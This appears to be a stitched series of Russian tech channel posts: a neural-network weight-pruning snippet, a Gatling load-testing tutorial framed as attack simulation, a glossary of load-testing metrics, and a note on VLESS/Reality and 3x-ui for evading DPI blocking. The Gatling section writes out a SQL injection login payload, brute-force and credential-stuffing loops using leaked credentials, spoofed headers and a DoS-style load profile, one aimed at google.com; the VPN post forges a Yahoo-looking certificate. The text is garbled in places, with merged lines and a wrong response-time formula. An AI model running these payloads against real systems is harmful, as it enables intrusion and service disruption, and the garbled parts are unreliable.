4. Установка весов в ноль: Веса, которые оказались ниже установленного порогового значения, устанавливаются в ноль, что фактически означает исключение связей нейронов из модели.
5. Обновление весов слоя: Обновляются веса слоя с учетом удаленных значений.
def prune_weights(model, pruning_rate):
for layer in model.layers:
if isinstance(layer, layers.Conv2D) or isinstance(layer, layers.Dense):
weights, biases = layer.get_weights()
weight_magnitudes = np.abs(weights)
threshold = np.percentile(weight_magnitudes, pruning_rate)
weights[weight_magnitudes < threshold] = 0
layer.set_weights([weights, biases])
return modelnum_iterations = 5
pruning_rate = 10 # Процент весов для удаления
for iteration in range(num_iterations):
model = prune_weights(model, pruning_rate)
# Дообучение модели
model.fit(train_images, train_labels, epochs=3, validation_data=(test_images, test_labels))
# Оценка модели
test_loss, test_acc = model.evaluate(test_images, test_labels, verbose=2)
print(f'Итерация {iteration + 1}: Точность = {test_acc}')
Проведение нагрузочного тестирования с помощью Gatling
Gatling — мощный и гибкий инструмент для проведения нагрузочного тестирования, который позволяет оценить устойчивость системы к различным атакам и аномалиям, возникающим под высокой нагрузкой.
Ключевые концепции:
1. DSL (Domain-Specific Language)
Предоставляет удобный синтаксис для создания сценариев нагрузочного тестирования. Сценарии, созданные с помощью DSL, позволяют моделировать атаки и проверять, как система реагирует на различные нагрузки.
2. httpProtocol
httpProtocol — конфигурация HTTP-протокола, которая определяет параметры, такие как базовый URL, заголовки, время ожидания и параметры SSL. Эти настройки помогают моделировать реальное поведение пользователей и их взаимодействие с системой.
val httpProtocol = http
.baseUrl("https://google.com")
.inferHtmlResources()
.acceptHeader("application/json")
.userAgentHeader("MaliciousBot/1.0")
.header("X-Real-IP", "10.0.0.1")
.disableFollowRedirect
.check(status.is(200))
В данном примере настроил httpProtocol для имитации запросов с поддельными заголовками.
3. Simulation
Основной класс в Gatling, который объединяет сценарии, протоколы и профили нагрузки.
class MaliciousSimulation extends Simulation {
setUp(
scn.inject(rampUsers(1000) during (300 seconds)).protocols(httpProtocol)
).assertions(
global.failedRequests.percent.lte(5) // Атакующий хочет, чтобы как можно больше запросов прошло успешно
)
}
Simulation позволяет создать комплексные сценарии, включающие различные типы нагрузок и атак.
4. exec
Метод, который используется для выполнения действий в рамках сценария. Может запускать HTTP-запросы, вызывать другие сценарии или функции.
scn.exec(http("SQL Injection")
.post("/login")
.formParam("username", "admin")
.formParam("password", "' OR '1'='1"))
.check(status.is(200)))
.exec(http("Brute Force Login")
.post("/login")
.formParam("username", "user")
.formParam("password", "pass123"))
Метод exec можно использовать для моделирования атак методом грубой силы.
5. inject
Описывает количество пользователей и временные характеристики их запуска. Это помогает моделировать различные типы атак, например, постепенное увеличение нагрузки, чтобы определить точку деградации системы или запустить внезапную атаку на отказ в обслуживании.
setUp(
scn.inject(
rampUsers(1000) during (10 minutes), // Постепенное увеличение нагрузки
constantUsersPerSec(2000) during (60 seconds) // Резкая атака DoS
).protocols(httpProtocol)
)
6. check
check — важный инструмент для валидации безопасности, позволяющий убедиться, что система корректно обрабатывает запросы и не возвращает чувствительные данные.
.check(status.is(200))
.check(regex("(?i)password").exists) // Проверка на утечку пароля в ответе сервера
7. pause
Метод, который используется для имитации реального поведения пользователей.
scn.pause(5)полезно для тестирования систем обнаружения вторжений и других защитных механизмов. 8. Feeder Может использоваться для автоматизации атак с использованием различных данных, таких как списки утекших учетных данных или потенциально уязвимых параметров.
val csvFeeder = csv("data/credentials.csv").circular
scn.feed(csvFeeder)
.exec(http("Login Attempt")
.post("/login")
.formParam("username", "${username}")
.formParam("password", "${password}"))
.check(status.is(200))
9. Looping
Механизм повторения определенных действий в сценарии.
.repeat(1000) {
exec(http("Brute Force Attempt")
.post("/login")
.formParam("username", "admin")
.formParam("password", "admin${randomInt(1000)}")) // Перебор паролей
}
10. Assertions
Утверждения, которые позволяют проверять результаты теста в целом. Помогают убедиться, что система отвечает всем требованиям безопасности и производительности.
assertions( global.responseTime.max.lt(500), // Максимальное время отклика не должно превышать 500 мс forAll.failedRequests.percent.is(0) // Процент неудачных запросов должен быть 0 )#load_testing
Основные понятия нагрузочного тестирования
Нагрузочное тестирование играет важную роль не только в обеспечении производительности системы, но и в обеспечении информационной безопасности. В условиях повышенной нагрузки системы могут проявляться уязвимости, которые в обычных условиях остаются скрытыми. Это особенно важно для систем, обрабатывающих конфиденциальные данные, таких как финансовые приложения, системы электронного здравоохранения, государственные порталы и другие критически важные сервисы.
Важные аббревиатуры:
1. RPS (Requests Per Second) — Запросы в секунду
RPS измеряет количество запросов, которые система может обработать за одну секунду. Это ключевой показатель производительности, который напрямую влияет на способность системы противостоять атакам, направленным на перегрузку (например, DDoS-атаки).
Формула расчета: RPS = (общее кол-во запросов) / (общее время теста в сек). Если система обработала 6000 запросов за 60 секунд, RPS составит 100 запросов в секунду.
2. Количество активных соединений в секунду
Это количество одновременно активных соединений, поддерживаемых системой в течение одной секунды. Высокое количество активных соединений может указывать на успешное управление параллельными запросами.
Формула расчета: Кол-во активных соединений = (кол-во запросов) / (среднее время выполнения запроса в сек)
3. Пиковая нагрузка (Peak Load)
Пиковая нагрузка — это максимальное количество запросов или пользователей, которые система может обработать в течение определенного времени без деградации производительности.
Знание пиковых нагрузок помогает определить, когда система может стать уязвимой для атак, использующих методы перегрузки.
4. Точка деградации (Degradation Point)
Точка деградации — момент, когда система начинает терять производительность под увеличенной нагрузкой. Может выражаться в увеличении времени отклика, росте числа ошибок или снижении RPS.
Знание точки деградации критично для понимания того, когда система станет уязвимой для атак, направленных на её перегрузку. Тестирование позволяет выявить эти моменты и усилить меры защиты, например, вводя механизмы автоматического уменьшения нагрузки или балансировки трафика.
5. Время отклика (Response Time)
Время отклика — это время, которое проходит от отправки запроса до получения ответа от системы.
Формула расчета: Время отклика = (время отправки запроса) / (время получения ответа).
6. Пропускная способность (Throughput)
Пропускная способность — это количество данных, которые система может обработать за определенный период времени. Обычно измеряется в байтах в секунду (Bps) или запросах в секунду (RPS).
Формула расчета: Пропускная способность = (объем переданных данных) / (общее время теста)
7. Уровень ошибок (Error Rate)
Уровень ошибок показывает процент неуспешных запросов от общего числа запросов. Это важный индикатор стабильности системы. Увеличение уровня ошибок может свидетельствовать о том, что система подвергается атаке или испытывает перегрузку.
Формула расчета: Error Rate (%) = (количество ошибочных запросов) / (общее количество запросов) * 100
8. Среднее время на пользователя (Average User Time)
Среднее время на пользователя показывает, сколько времени в среднем тратит каждый пользователь на выполнение всех действий в системе. Знание среднего времени на пользователя помогает определить, как система справляется с ростом количества пользователей и насколько она устойчива к перегрузке. Это важно для понимания того, как долго пользователи могут оставаться в системе без снижения производительности.
Формула расчета: Среднее время на пользователя = (общее время всех пользователей) / (количество пользователей)
#load_testing
Использование протоколов VLESS и Reality для обхода DPI
В условиях растущих интернет-ограничений и блокировок VPN, новые методы обхода цензуры становятся всё более актуальными. В этой связи, протокол VLESS, обеспечивающий эффективное шифрование и низкую задержку, приобретает особую значимость, особенно в сочетании с режимом Reality. За наводку спасибо @Sol1v.
Reality добавляет в экосистему X-Ray мощные возможности маскировки трафика.
Используя реальные доменные имена и сертификаты, этот режим имитирует легитимный веб-трафик, что делает его практически неотличимым от обычного HTTPS-соединения.
Это достигается за счет создания самоподписанных сертификатов, которые внешне напоминают сертификаты, выданные для популярных доменов.
Например, можно сгенерировать сертификат, который будет выглядеть как сертификат для домена yahoo.com:
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes \
-subj "/C=US/ST=California/L=Sunnyvale/O=Yahoo Inc./CN=www.yahoo.com"git clone https://github.com/MHSanaei/3x-ui.gitdocker run -itd \
-e XRAY_VMESS_AEAD_FORCED=false \
-v $PWD/db/:/etc/x-ui/ \
-v $PWD/cert/:/root/cert/ \
--network=host \
--restart=unless-stopped \
--name 3x-ui \
ghcr.io/mhsanaei/3x-ui:latestssh -f -N -L 127.0.0.1:2053:127.0.0.1:2053 user@ip 
У знакомого перестал работать vpn на vps. Оказалось что провайдеры начали блокировать подобные соединения (в поддержке vps подтвердили). Что делаем?)
